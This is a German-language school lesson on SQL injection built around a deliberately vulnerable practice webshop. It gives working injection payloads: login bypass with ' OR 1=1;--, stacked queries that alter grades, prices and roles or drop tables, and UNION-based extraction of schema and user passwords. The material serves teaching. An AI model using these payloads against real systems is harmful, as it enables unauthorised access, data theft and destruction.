Zum Hauptinhalt springen

SQL Injection

SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke im Zusammenhang mit SQL-Datenbanken, die durch mangelnde Überprüfung von Benutzereingaben entsteht. Die Angreifer:in versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Ziele können sein, Daten auszuspähen, im eigenen Sinne zu verändern, die Kontrolle über den Server zu erhalten oder einfach grösstmöglichen Schaden anzurichten.

SQL-Injections sind dann möglich, wenn Daten wie beispielsweise Benutzereingaben direkt an die Datenbank weitergeleitet und von dieser interpretiert und direkt ausgeführt werden. 1

Doch wann werden Benutzereingaben an die Datenbank geschickt? Nehmen wir als Beispiel die SBB-Website für die Zugverbindungen. Eine Benutzer:in sucht nach einem Startort und Zielort. Bereits während der Benutzereingabe werden mögliche Bahnhöfe angezeigt.

Während der Eingabe Ber werden die Bahnhöfe "Berlingen", "Bern", "Berlin HB" angezeigt
Während der Eingabe Ber werden die Bahnhöfe "Berlingen", "Bern", "Berlin HB" angezeigt

Mögliche Standorte, die mit Ber beginnen, müssen während der Eingabe zuerst gesucht werden. Diese Suchanfrage wird über die URL als GET-Request mit dem Query-Parameter match=ber an den SBB Autocomplete Server geschickt:

https://sbb.ch/bin/sbb/timetable/autocomplete?match=ber
\___/ \____/ \_______________________/ \________/
| | | |
Schema Host Pfad Query

Auf dem Server läuft das entsprechende Autocomplete-Programm, welches nun eine SQL-Abfrage ausführt:

SELECT name FROM train_stations WHERE location ILIKE 'ber%';

Da der Query-Parameter match bei jeder Anfrage anders ist, muss die SQL-Abfrage dynamisch erzeugt werden.

# normalerweise kommt der Request vom Browser
request = { 'args': { 'match': 'ber' } }

location = request['args'].get('match')
sql = f"SELECT name FROM train_stations WHERE location ILIKE '{location}%';"
print(sql)

Die SQL-Injection Schwachstelle befindet sich in der Art des Zusammensetzens der SQL-Abfrage.

Autocomplete Legodudes

Mit folgendem Code kann eine SQL-Abfrage generiert werden. Es soll nur der match-Parameter angepasst werden (aktuell: EF)

request = { "args": { "match": "EF" } }

match = request['args'].get('match')
sql = f"""
SELECT *
FROM comics
WHERE title ILIKE '%{match}%';
"""
print(sql)
  1. Probieren Sie einige Werte für match aus und führen Sie die Abfrage auf 👉 xkcd aus.

  2. Was passiert, wenn folgende Eingaben verwendet werden?

    1. data

    2. data';--

    3. data%'

    4. data%' ORDER BY title asc; --

    5. data%' OR 1=1;--

Konzept der SQL Injection

Die Hacker:in versucht über ein Eingabefeld (oder direkt als URL-Parameter) SQL Steuerzeichen und -Befehle an die Applikation zu senden. Wenn in der Applikation mit den Eingabedaten direkt eine SQL-Abfrage zusammengesetzt wird, lässt sich damit die Abfrage verändern:

sql = f"SELECT name FROM train_stations WHERE location ILIKE '{location}%';"

Normal

Eingabe: EF
SELECT * FROM train_stations
WHERE location ILIKE 'EF%';

Erzeuge Fehler

Eingabe: 'KRUMS;--
SELECT * FROM train_stations
WHERE location ILIKE '%' KRUMS;--';

Sortieren

Eingabe: ber' ORDER BY location DESC;--
SELECT * FROM train_stations
WHERE location ILIKE 'ber'
ORDER BY location DESC;--;
Entscheidend

Durch das Hochkomma ' zu Beginn der Eingabe wird der Suchtext im SQL-Befehl abgeschlossen. Somit können im Anschluss eigene SQL Befehle hinzugefügt werden. Mit einem Semikolon ; wird die Abfrage abgeschlossen und der nachfolgenden SQL-Code wird mit -- auskommentiert. Somit haben wir es in eigenen Händen, dass ein korrektes SQL Query entsteht.

Durch absichtliche Falsch-Eingaben kann schnell herausgefunden werden, ob eine Eingabe direkt an die Datenbank weitergegeben wurde und das Eingabefehld somit für eine SQL-Injection anfällig ist.

Übung 1

Webshop

👉 https://hacksql.gbsl.website

Tipp

Falls nichts angezeigt wird (weil jemand alles gelöscht hat): Ganz unten auf der Seite hat es einen roten Knopf "Recreate Tables", welcher den ursprünglichen Zustand wiederherstellt.

  1. welche Eingabefelder sind offensichtlich nicht gegen SQL-Injection geschützt? (Es gibt also eine Fehlermeldung direkt auf der Website)

  2. versuchen Sie über das Eingabefeld die Kaffee-Sorten nach der Kaffee-Mischung (blend_name) aufsteigend und absteigend zu sortieren.

SSR

Immer Wahr

Ein weiterer Trick bei der SQL-Injection ist das Einfügen von immer wahren Bedingungen. Dies wird dann verwendet, wenn eine Filter-Funktion umgangen werden soll.

Beispiel: Eine Webseite möchte dem eingeloggten Benutzer alle über Ihn gespeicherten Informationen anzeigen. Dazu wird seine Mail-Adresse in die Variable $email gespeichert und folgende Abfrage zusammengestellt:

Was passiert, wenn nun als email die Eingabe ' OR 1=1;-- verwendet wird?

Template

email = "reto@gymnasium.ch"
sql = f"SELECT * FROM students WHERE email = '{email}'"
print(sql)

Eingabe

' OR 1=1;--

SQL-Abfrage

SELECT * FROM students WHERE email = '' OR 1=1;--'

Obwohl email = '' falsch ist, wird die Bedingung 1=1 immer wahr sein. Somit werden alle Datensätze zurückgegeben.

Übung 2
  1. Versuchen Sie sich einzuloggen, ohne dabei einen Benutzername oder ein Passwort zu verwenden.

  2. Einloggen hat funktioniert, nur leider hat dieser Benutzer keine Rechte. Da Sie gestern Abend im Pub zufällig ein Gespräch mit der Entwickler:in des Webshops gehört haben, wissen Sie, dass es einen Admin mit der E-Mail admin@mail.ch und eine Tabellenspalte email geben muss. Loggen Sie sich ein und löschen Sie ein paar Kaffee-Sorten.

SSR

Trick: mehrere Befehle

Ein weiteres Prinzip ist die Verwendung von mehreren SQL-Befehlen. Gewisse Datenbanksysteme führen mehrere durch Semikolons ; voneinander getrennte Befehle direkt nacheinander aus. Dies ist dann nützlich, wenn Einträge geändert, gelöscht oder hinzugefügt werden sollen.

Template

email = "reto@gymnasium.ch"
sql = f"SELECT * FROM students WHERE email = '{email}'"
print(sql)

Eingabe

'; UPDATE students SET grade=6 WHERE id=13; --`

SQL-Abfrage

SELECT * FROM students
WHERE email = '';
UPDATE students
SET grade=6
WHERE id=13; --';

Mit dieser Eingabe wird zuerst der von der Applikation vorgegebene Befehl korrekt abgeschlossen und dann die Note des Schülers mit der ID 13 auf eine 6 gesetzt.

Übung 3

Normalerweise sind einem Angreifer die Details über die Datenbank, welche hier gegeben sind (bspw. die Spaltennamen) nicht bekannt und müssen zuerst herausgefunden werden. Mehr dazu im nächsten Abschnitt.

  1. Ändern Sie die Preise aller Kaffee-Sorten auf 0 Franken.

  2. Ändern Sie die Preise einer ausgewählten Kaffee-Sorte.

  3. Löschen Sie auf der Datenbank die Tabelle coffee

  4. Löschen Sie die ganze Datenbank hfr_hacksql

  5. Versuchen Sie dem test-Benutzer mit der E-Mail adresse test@mail.ch administrator-Rechte zu geben. Dazu muss das Feld role auf den Wert admin gesetzt werden.

SSR

Mehrere Abfragen kombinieren: UNION

Oftmals weiss man nicht im Voraus, wie das Schema der Datenbank aussieht (bspw. wie die Tabellen heissen und welche Spalten sie enthalten). Deshalb muss dies oft in einem ersten Schritt herausgefunden werden. Doch die einzige Möglichkeit um die Resultate anzuzeigen, ist das mit der Eingabe verbundene Anzeige-Elemente - bei der Coffee-Shop Webseite also die Tabelle unterhalb vom Filter.

Sollen Abfragen miteinander kombiniert werden, so müssen die Resultate der beiden SELECT Queries also genau gleich viele Spalten aufweisen.

legodudes
idnamelandessen
1Litty FeuerwehrSchwedenHeisse Schokolade
2Crazy Lego DudeÖsterreichSpaghetti
3Elon MarskUSALasagne
haustiere
idnamelieblingsfutter
1FluffyKnochen
2WhiskersFisch
3SpikeÄpfel
SELECT id, name, essen
FROM legodudes
UNION
SELECT id, name, lieblingsfutter
FROM haustiere;
Resultat
idnameessen
1FluffyKnochen
1Litty FeuerwehrHeisse Schokolade
2WhiskersFisch
2Crazy Lego DudeSpaghetti
3Elon MarskLasagne
3SpikeÄpfel

Sollen nun alle Spalten von den legodudes angezeigt werden, muss auch die Abfrage der Tabelle haustiere 4 Spalten zurückgeben:

SELECT id, name, land, essen
FROM legodudes
UNION
SELECT id, name, NULL, lieblingsfutter
FROM haustiere;
Resultat
idnamelandessen
1FluffyKnochen
1Litty FeuerwehrSchwedenHeisse Schokolade
2WhiskersFisch
2Crazy Lego DudeÖsterreichSpaghetti
3SpikeÄpfel
3Elon MarskUSALasagne

Wie viele Spalten hat eine Tabelle?

Um herauszufinden, wie viele Spalten eine abgefragte Tabelle hat, kann Schrittweise nach einer Spalte sortiert werden, wobei der Spaltennamen nicht bekannt sein muss, sondern auch ORDER BY 1 für das sortieren nach der ersten Spalte verwendet werden kann. Sobald eine Fehlermeldung erscheint, ist die Anzahl Spalten bekannt.

Übung 4

Wie viele Spalten hat die gefilterte Kaffee-Tabelle? Finden Sie dies heraus, indem Sie folgende Eingabe verwenden und anpassen:

' ORDER BY 1;--

Mit diesen Werkzeugen lassen sich nun auch bspw. alle User inkl. deren Passwörter herausfinden!

Übung 5
  1. Geben Sie in Kombination mit dem UNION Befehl eine einzelne Zeile 1,2,3,4,5,6,7 aus.

    Tipp

    Ändern Sie Ihre Eingabe so ab, dass keine Kaffee-Resultate angezeigt werden.

  2. Zeigen Sie in Kombination mit dem UNION Befehl die Datenbankversion und den Datenbanknamen an.

    Tipp

    Für MySQL Datenbanken gilt:

    Datenbankversion

    SELECT version();

    Datenbankname

    SELECT database();
  3. Welche Tabellen gibt es auf dieser Datenbank? Welche Spalten gibt es in einer Tabelle?

    Tipp

    In MySql können die Namen aller Tabellen in der Datenbank 'test_db' mit folgendem Query abgefragt werden, bzw. die Spalten der Tabelle 'test_table':

    Alle Tabellen einer Datenbank

    SELECT table_name
    FROM information_schema.tables
    WHERE table_schema='database-name';

    Spalten der Tabellen einer Datenbank

    SELECT table_name, column_name
    FROM information_schema.columns
    WHERE table_schema='database-name';
  4. Es gibt eine Tabelle mit allen Benutzer - zeigen Sie alle Informationen der Benutzer an und loggen Sie sich anschliessend ein.

SSR

Footnotes

  1. Quelle: Wikipedia